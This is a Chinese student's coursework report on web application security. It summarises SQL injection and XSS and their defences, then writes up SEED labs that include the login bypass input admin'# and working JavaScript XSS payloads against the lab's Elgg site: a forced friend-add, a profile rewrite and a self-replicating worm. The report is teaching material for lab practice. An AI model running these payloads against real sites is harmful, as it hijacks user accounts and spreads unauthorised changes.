20199325 2019-2020-2 《网络攻防实践》第11周作业
20199325 2019-2020-2《网络攻防实践》第十一周作业
一.学习总结
1. Web应用程序体系结构及其安全威胁
Web应用体系结构
Web 应用程序 (Web Application) :是 一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如 JavaScript 等脚本语言及 HTML 等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如 Java Applet),依赖于浏览器来对应用程序进行渲染与执行。
Web 应用的体系结构由浏览器作为“瘦” 客户端主要完成数据显示与展示内容的渲染(render)功能;而由功能强大的“胖”服务器负负完成士哎业务的计算处理;两者之间通过因特网或内联网上 HTTP/HTTPS 应用层协议的请求与应答进行通信。
- 浏览器(Browser)
- Web 服务器 (Web Server)
- Web 应用程序(Web Application)
- 数据库(Database)
- 传输协议 HTTP/HTTPS
Web 应用安全威胁
- 针对浏览器和终端用户的 Web 浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
- 针对传输网络的网络协议安全威胁:如针对 HTTP 明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
- 系统层安全威胁:Web 站点的宿主操作系统,如Windows Server、 Linux等,存在 着远程渗透攻击和本地渗透攻击威胁
- Web 服务器软件安全威胁:Web 服务器软件如 IIS、Apache作为一种典型的网络服
务,也不叫避免地存在着安全漏洞与弱点。 - Web应用程序安全威胁:程序员在使用 ASP、PHP 等脚本编程语言实现 Web 应用
程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致 Web 应用程序出现安
全漏洞,从而被攻击者渗透利用,包括 SQL 注入攻击、XSS 跨站脚本攻击等。 - Web数据安全威胁:Web 站点中在 Web 应用程序后台存储的关键数据内容, 以及
Web客户输入的数据内容, 存在浒被窃取、篡改及输入不良信息等威胁。
Web 应用安全攻防技术概述
Web 应用的信息收集
Web服务器端口与其他开放服攻击也需要首先进行信息情报的搜集,对目标WEbu应用服务进行发现与剖析,针对WEB应用的主要收集内容包括服务器域名、IP地址和虚拟IP地址、务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息等。
-
手工审查 Web 应用程序结构与源代码:
- 静态和动态生成的贞面
- 目录结构
- 辅助性文件
- 输入表单
- 查询参数字符串
-
自动下载与镜像 Web 站点页面:提升手动审查的自动化程度。
-
使用 Google Hacking 技术审查与探测 Web 应用程序:Google Hacking 技术特指使用 Google 搜索引擎或其他的 Google 应用,在 Web 站点中的配置、计算机代码及包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
-
Web 应用程序安全评估与漏洞检测:针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
攻击 Web 服务器软件
- 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程, Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在 Web 服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。
- 服务器功能扩展模块漏洞:扩展模块往往较 Web 服务器软件的编写质量要差许多,因此也就存在更多的安全漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
- 源代码泄露:源代码泄漏漏洞让渗透测试人员能够查看到没有防护措施Web服务器上的应用程序源代码。
- 资源解析攻击:Web服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。这里面缺乏对输入合法性与合理性验证的处理
攻击 Web 应用程序
Web应用程序安全威胁类型包括:
- 针对认证机制的攻击:
针对用来确认用户、服务或应用身份机制的攻击手段;
- 授权机制的攻击:
针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段; - 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段;
- 命令执行攻击:在web站点执行远程命令的攻击手段;
- 信息暴露:
获取web站点具体系统信息的攻击手段; - 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
攻击 Web 数据内容
Web 站点除了通过服务器软什和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄漏、网站内容遭受篡改,以及不良信息内容上传。
安全敏感数据泄露:
web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;
利用web服务器(通常可能同时是FTP服务器)的upload、incoming等上传目录临时中转文件时泄露;
由于缺乏安全意识,在web站点公开的文档资料中包含个人隐私、企业秘密、甚至国家秘密信息。
- 网站篡改(Website Defacement): 是一类较早出现且流行已久的网站攻击形式,一般是网络骇客们所为,在利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。一般不具备破坏性
不良信息内容上传:Web站点被攻击者入侵和控制之后,以及一些允许用户上传内容的论坛、博客类网站,可能遭受不良信息内容上传的威胁。
Web 应用安全防范措施
- Web 站点网络传输安全设防措施:使用HTTPS、SSH、SFTP等安全协议。关键的web服务器,设置静态绑定MAC-IP映射,在服务网段内进行APR等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对WEB服务器实施保护和安全检测,采用冗余等机制要应对拒绝服务攻击。
- Web 站点操作系统及服务安全设防措施:对 Web 站点的操作系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施
- Web 应用程序安全设防措施:在设计时就应该谨慎考虑
Web 站点数据安全设防措施:提高网站内容维护人员的数据安全意识,对维护网站的数据安全实施日常监测和防护。
SQL注入
代码注入攻击通过利用 Web 应用程序的输入验证个不完善漏洞,使得 Web 应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信县泄漏、权限提升或对系统的未授权访问等危害后果。
根据攻击目标分类:
- 恶意读取、修改与操作数据库的SQL注入攻击;
- 在WEb服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
- 在Web服务器端恶意执行操作系统命令的shell注入攻击;
- 其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSL注入、Xpath注入、XML注入、Xquery注入等;
SQL 注入攻击原理
利用 Web 应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。如’、“、‘、;、%、#、--、——等永真式;未进行类型约束检查;
SQL注入攻击步骤和过程
- 发现SQL注入点:
- 存在http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。同理也可以对字符型做,下面展示整型情况。
- yyy修改为yyy' 造成SQL出错,动态页面返回错误提示信息。
- yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
- yyy修改为yyy and 1=2 查询不到任何信息。
- 判断后台数据库类型
- 利用数据库服务器的系统变量。
- 利用数据库服务器的系统表进行判断
- 存在http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。同理也可以对字符型做,下面展示整型情况。
- 利用SQL注入进行后台口令拆解
- 猜解后台口令表表名。
- 猜解字段名。
- 猜解字段值: 二分法逼近。口令可能为MD5散列后的密文
- 上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
- 本地特权提升
- 利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。
SQL注入攻击工具
Wposion 能够在动态 Web 文档中找出 SQL 注入漏洞;wieliekoek.pl 能够以并以网站镜像工具生成的输出为输入,找出含有表单页面,允许在配置文件中对注入字符串进行修改,进行 SQL 注入漏洞探测;SPIKE Proxy 工具允许使用者对待注入的字符串进行定制,并执行自动化的 SQL 注入测试;SPI Toolkit 工具包中也包含了一个名叫"SQL Injector" 的自动化 SQL 注入测试工具。
SQL 注入攻击防范措施
大多数的 SQL 注入攻击都是利用 Web 应用程序中对用户输入没有进行严格的转义字
符过滤和类型检查的安全漏洞,因此对 SQL 注入攻击的防范措施主要依靠对用户输入中特殊字符严格的输入验证机制,及对输入参数类型与长度的严格检查与限制机制。
- 使用类型安全 (type-safe) 的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态 SQL 语句替换为存储过程、 预编译 SQL 或 ADO 命令对象
- 加强 SQL 数据库服务器的配置与连接
XSS 跨站脚本攻击
XSS 跨站脚本攻击的最终目标不是提供服务的 Web 应用程序,而是使用 Web 应用程序的用户。XSS 跨站脚本漏洞存在于 Web 应用程序中,使得攻击者可以在 Web 页面中插入恶意的 HTML 或 JavaScript 代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等危害后果。
XSS 攻击技术原理
与代码注入类似,XSS 攻击的根源同样是 Web 应用程序对用户输入内容的安全验证与 过滤不够完善,在许多流行的 Web 论坛、博客、留言本及其他允许用户交互的 Web 应用程序中,用户提交内容中可以包含 HTML、 JavaScript 及其他脚本代码,而一 旦 Web 应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。用户在浏览网页时,客户端浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
xss 攻击类型
安全业界普遍将其分为两种主要的 XSS 漏洞类型,即持久性 XSS 漏洞(Persistent Cross Sile Scripting)和非持久性 XSS 漏洞(Non-persistent Cross Site Scripting),利用这两类漏洞的攻击也被称为持久性 XSS 攻击与非持久性 XSS 攻击。
持久性漏洞:持久性 XSS 漏洞是危害最为严重的 XSS 漏洞,它通常出现于一些可以将用户输入持久性地保有在 Web 服务器端,并在一些“正常”页面中持续性地显示,从而能够影响所有访问这些页而的其他用户,因此该类 XSS 漏洞也被称作存储性(stored)XSS 漏洞。
非持久性漏洞:非持久性 XSS 漏洞(也被称为反射 XSS 漏洞)则是最为普遍的类型,当 Web 浏览器在 HTTP 请求参数或 HTML 提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的 XSS 漏洞。
XSS 攻击防范措施
XSS 跨站脚本攻击是由于Web 应用程序未对用户输入进行严格审查与过滤所引起的,但是恶意脚本执行却是在客户端的浏览器上,危害的也是客户端的安全。因此,对 XSS 跨站脚本的防范分为服务器端和客户端两个方面。
服务器端防范措施:与其他输入验证不完备类型安全漏洞类似,XSS 漏洞的首要防范措施是对所有来自外部的用户输入进行完备检查,以 “ 限制、 拒绝、 净化” 的思路来进行严格的安全过滤。
二.实践过程
实践一:SEED SQL注入实验
任务一.熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
1.对于这种含有登录的网页页面,我们可以通过按浏览器的f12
按键来查看源代码。然后找到登录框所在的那段,可以发现有个表单,说明登录这个事件的逻辑写在unsafe_home.php
这个文件。
我们可以先查看本地数据库,查看users表,都有哪种tables
在网页登录,先随便输入用户名和密码随便登录一下,查看后台逻辑层运行
任务二:对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
1.首先查看下unsafe_home.php
这个文件,看一下代码逻辑。这个文件在/var/www/SQLInjection
目录.下图定义了它的数据库查询语句。它是通过匹配name和password来查询的。那我们可以通过#把password注释掉。就可以直接进入系统了。
任务三:对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
1.首先我们查看下后台代码,在/var/www/SQLInjection/unsafe edit backend.php
这里。然后可以看到下图,这是他的更新逻辑。可以看到是以ID更新数据的。
通过admin'#我们就可以进入后台管理页面,查看到所有人的数据
unsafe_edit_backend.php页面代码,可以看到是如何调用数据库的。
所以我们只要进入了edit页面当中,就可以通过sql注入攻击进行更改后台数据。
任务四:SQL对抗,修复上述SQL注入攻击漏洞
这个任务主要是修改后台逻辑层代码,使得匹配的时候不会出现数据代码的调用产生逻辑错误。
实践二:SEED XSS注入实验
先下载一下http header 这个插件能够帮助我们后面查看后台
任务一:测试漏洞
任务二:弹窗显示cookie信息:
任务三:窃取受害者的cookies:
任务四:成为受害者的朋友:
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
任务五:修改受害者的信息:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
任务六:编写XSS蠕虫
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
三.问题
第一个实践有一些问题,浏览器打开,标头不显示edit的button。
也没有找到格式的问题,最后只能是通过浏览器直接输入后续地址跳转至edit等页面,手动进行跳转操作。
四.实践总结
会有很多的bug和问题,还有就是js很久不写了,有一些不会了。